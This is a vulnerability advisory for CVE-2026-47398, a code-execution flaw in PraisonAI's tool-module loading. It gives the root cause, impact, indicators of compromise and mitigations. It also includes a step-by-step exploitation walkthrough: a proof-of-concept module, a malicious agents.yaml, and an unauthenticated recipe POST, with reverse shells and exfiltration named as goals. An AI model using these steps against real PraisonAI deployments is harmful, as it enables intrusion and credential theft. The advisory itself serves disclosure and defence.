CVE-2026-47398
PraisonAI vulnerability analysis and mitigation

Overview

CVE-2026-47398 is an arbitrary code execution vulnerability in PraisonAI (pip package) caused by two unguarded spec.loader.exec_module call sites in praisonai/agents_generator.py. It is a sibling bypass of CVE-2026-44334, which patched similar sinks in tool_override.py but missed the load_tools_from_module and load_tools_from_module_class functions in agents_generator.py. Affected versions are all releases from >= 2.0.0 through <= 4.6.39; the fix was introduced in version 4.6.40. The CVSS v3.1 base score is 8.1 (High) under network conditions with high complexity, escalating to 9.8 (Critical) when the recipe server's default no-auth posture and allow_any_github=True are in play (GitHub Advisory, PraisonAI Advisory). The vulnerability was published May 19, 2026, and credited to Kai Aizen & Avraham Shemesh of SnailSploit.

Technical details

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection) and CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). Both load_tools_from_module and load_tools_from_module_class in praisonai/agents_generator.py call importlib.util.spec_from_file_location() followed by spec.loader.exec_module(module) on a module_path value sourced directly from YAML agent configuration (agents.yaml) without any validation, allowlist check, or the PRAISONAI_ALLOW_LOCAL_TOOLS environment variable gate that was applied to other sinks in prior patches. Three attack vectors exist: (1) writing a malicious .py file to a shared/writable config directory (CWD-plant), (2) triggering a recipe fetch via POST /v1/recipes/run with a GitHub-hosted agents.yaml referencing a malicious module (no authentication required by default), and (3) prompt injection causing an LLM agent to load tools from an attacker-controlled path. The malicious module-level code executes during tool registry construction, before any LLM call or API key is needed (GitHub Advisory).

# praisonai/agents_generator.py (v4.6.37)
336 def load_tools_from_module(self, module_path):
349     spec = importlib.util.spec_from_file_location("tools_module", module_path)
350     module = importlib.util.module_from_spec(spec)
351     spec.loader.exec_module(module)  # ← NO gate

Impact

Successful exploitation grants an attacker arbitrary code execution with the full privileges of the PraisonAI process. In CI/CD pipelines and shared-server environments, any user able to write an agents.yaml or colocate a .py file achieves code execution as the service account, enabling credential theft, data exfiltration, lateral movement, and full system compromise. Confidentiality, integrity, and availability are all rated High, as the attacker can read sensitive data (API keys, model outputs, environment variables), modify system state, and disrupt service availability (GitHub Advisory, PraisonAI Advisory).

Exploitation steps

  1. Reconnaissance: Identify a PraisonAI instance running versions >= 2.0.0 and <= 4.6.39, particularly those exposing the recipe API endpoint (/v1/recipes/run) without authentication (the default legacy server posture).

  2. Prepare malicious module: Create a Python file (evil.py) containing arbitrary code to execute at module-load time (e.g., writing a marker file, spawning a reverse shell, or exfiltrating environment variables):

import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(), f"pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()}\n")
  1. Craft malicious agents.yaml: Create an agents.yaml referencing the malicious module in the tools section:
framework: praisonai
topic: "exploit"
roles:
  poc_agent:
    role: PoC
    goal: trigger
    backstory: n/a
    tools:
      - evil.py
  1. Deliver via recipe vector (network): Host both files in a GitHub repository and trigger the recipe fetch via an unauthenticated HTTP POST:
POST /v1/recipes/run
{"recipe": "github://<attacker-repo>/agents.yaml"}

Alternatively, plant evil.py and agents.yaml in a writable CWD on a shared server.

  1. Trigger code execution: When PraisonAI processes the agents.yaml, AgentsGenerator.load_tools_from_module("./evil.py") is called, which invokes spec.loader.exec_module(module) without any gate check, executing the malicious module-level code immediately during tool registry construction.

  2. Achieve objective: The payload runs with the privileges of the PraisonAI process — enabling reverse shell establishment, credential harvesting, or further lateral movement (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected or anomalous POST /v1/recipes/run requests with external GitHub URLs in the body; outbound connections from the PraisonAI process to unknown hosts following recipe execution.
  • File System: Unexpected .py files colocated with agents.yaml in working directories; marker or output files written to /tmp/ with names matching praisonai_agents_gen_pwn_*.txt (from PoC); new files created by the PraisonAI service account in unexpected locations.
  • Logs: Application logs showing load_tools_from_module or load_tools_from_module_class loading modules from non-standard or external paths; Python import errors or tracebacks referencing agents_generator.py line 351.
  • Process: Unusual child processes spawned by the PraisonAI Python process (e.g., bash, curl, wget, nc); unexpected network connections initiated by the PraisonAI service account (GitHub Advisory).

Mitigation and workarounds

Upgrade immediately to PraisonAI version 4.6.40 or later, which patches both unguarded exec_module call sites in agents_generator.py (PraisonAI Advisory). As a short-term workaround prior to patching, ensure the PRAISONAI_ALLOW_LOCAL_TOOLS environment variable is not set to true, and restrict write access to directories containing agents.yaml files. Disable or restrict the /v1/recipes/run endpoint and set allow_any_github=False to eliminate the unauthenticated network attack vector. Additionally, validate module_path values against a strict allowlist of trusted tool module locations in any custom deployments.

Community reactions

The vulnerability was discovered and reported by Kai Aizen and Avraham Shemesh of SnailSploit, who provided a detailed advisory including a working proof-of-concept and patch lineage analysis tracing the incomplete fix sequence across four related CVEs. The advisory was published by the repository maintainer (MervinPraison) on May 19, 2026, and added to the GitHub Advisory Database on May 29, 2026 (GitHub Advisory). No broader media coverage or notable community discussion has been identified at this time.

Additional resources


SourceThis report was generated using AI

Related PraisonAI vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-47396CRITICAL9.8
  • PraisonAI logoPraisonAI
  • praisonai
NoYesJul 21, 2026
CVE-2026-47394HIGH8.7
  • PraisonAI logoPraisonAI
  • praisonai
NoYesJul 21, 2026
CVE-2026-47398HIGH8.1
  • PraisonAI logoPraisonAI
  • praisonai
NoYesJul 21, 2026
CVE-2026-47397HIGH7.1
  • PraisonAI logoPraisonAI
  • praisonai
NoYesJul 21, 2026
CVE-2026-47395MEDIUM5.5
  • PraisonAI logoPraisonAI
  • praisonai
NoYesJul 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management